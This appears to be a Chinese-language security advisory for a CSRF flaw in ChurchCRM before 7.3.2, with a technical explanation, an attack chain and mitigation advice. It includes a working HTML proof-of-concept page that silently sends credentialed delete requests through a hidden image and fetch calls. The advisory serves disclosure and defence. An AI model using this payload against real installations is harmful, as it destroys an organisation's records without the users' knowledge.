CVE-2026-44548 ChurchCRM跨站请求伪造漏洞

漏洞信息

漏洞编号

CVE-2026-44548

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

8.1 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

ChurchCRM

漏洞概述

ChurchCRM是一款开源的教堂管理系统。在7.3.2版本之前，该系统存在跨站请求伪造（CSRF）漏洞。由于相关删除接口（如FundRaiserDelete.php）缺乏有效的CSRF令牌验证，攻击者可以构造恶意链接，诱导拥有相应权限的已登录用户点击。一旦用户访问，浏览器将自动发送GET请求执行删除操作，导致资金筹款、属性类型或笔记等记录被静默删除，并可能引发级联删除效应，严重破坏数据完整性。

技术细节

该漏洞属于典型的跨站请求伪造（CSRF）漏洞。漏洞产生的核心原因在于ChurchCRM的`FundRaiserDelete.php`、`PropertyTypeDelete.php`和`NoteDelete.php`等删除功能接口接受GET请求，且未实施防CSRF机制（如随机Token校验或Referer检查）。攻击者利用这一缺陷，只需构建一个包含特定参数的恶意URL（例如指向删除操作的链接）。当已登录的具有管理权限的用户访问攻击者控制的恶意页面时，浏览器会自动向ChurchCRM服务器发送携带用户Session Cookie的GET请求。服务器端仅凭Cookie验证用户身份，误以为这是用户本人的操作，从而执行删除命令。这会导致数据库记录丢失，并触发级联删除相关属性，造成不可挽回的数据破坏。

攻击链分析

STEP 1

侦察

攻击者识别出目标使用的是ChurchCRM 7.3.2之前的版本。

STEP 2

构建

攻击者构造包含恶意删除链接（如FundRaiserDelete.php）的HTML页面。

STEP 3

投递

攻击者通过电子邮件或即时通讯将恶意链接发送给已登录的ChurchCRM管理员。

STEP 4

利用

受害者点击链接，浏览器在后台自动向服务器发送带有认证Cookie的GET请求。

STEP 5

影响

服务器验证Cookie有效，执行删除操作，导致数据被静默删除。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2026-44548 -->
<!-- Attacker_page.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Important Update</title>
</head>
<body>
    <h1>Please wait while we redirect you...</h1>
    <!-- Silent deletion attempt using image tag to trigger GET request -->
    <img src="http://victim-churchcrm-url.com/FundRaiserDelete.php?id=1" style="display:none;" onerror="console.log('Request sent');">
    
    <!-- Alternatively using JavaScript for more reliable execution -->
    <script>
        function exploit() {
            var targets = [
                'FundRaiserDelete.php?id=1',
                'PropertyTypeDelete.php?id=1',
                'NoteDelete.php?id=1'
            ];
            targets.forEach(function(path) {
                fetch('http://victim-churchcrm-url.com/' + path, {
                    method: 'GET',
                    credentials: 'include' // Sends cookies
                }).catch(e => console.log(e));
            });
        }
        window.onload = exploit;
    </script>
</body>
</html>

影响范围

ChurchCRM < 7.3.2

防御指南

临时缓解措施

建议管理员立即升级到修复版本。在升级前，应限制对ChurchCRM系统的网络访问，仅允许受信任的IP地址访问，或者暂时禁用相关删除功能模块，以防止被攻击者利用。